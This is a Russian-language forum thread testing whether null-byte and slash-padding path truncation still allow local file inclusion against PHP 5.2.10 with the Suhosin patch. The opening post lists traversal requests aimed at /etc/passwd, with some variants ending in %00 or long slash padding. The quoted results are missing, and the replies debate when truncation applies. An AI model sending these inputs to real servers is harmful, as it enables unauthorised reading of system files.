![]() |
null byte в PHP c последними версиями Suhosin-Patch
PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28
suhosin - advanced protection module for php5 В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////) Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее ( Скрипт (обычный LFI): PHP код:
1. test.php?p=../../../../../../../etc/passwd Результат: Цитата:
2. test.php?p=../../../../../../../etc/passwd%00 Результат: Цитата:
3. test.php?p=../../../../../../../etc/passwd//////[4096]///// Результат: Цитата:
4. test.php?p=../../../../../../../etc/passwd//////[1024]///// Результат: Цитата:
5. test.php?p=../../../../../../../etc/passwd//////[512]///// Результат: Цитата:
Цитата:
Цитата:
|
Хмм, на PHP 5.2.9 еще все работало.
Обновлю, гляну. |
Цитата:
А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет. Разобрался! Обновил пост. |
Цитата:
Цитата:
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте. |
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
|
Цитата:
|
Цитата:
|
Цитата:
Цитата:
Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил. |
| Время: 22:33 |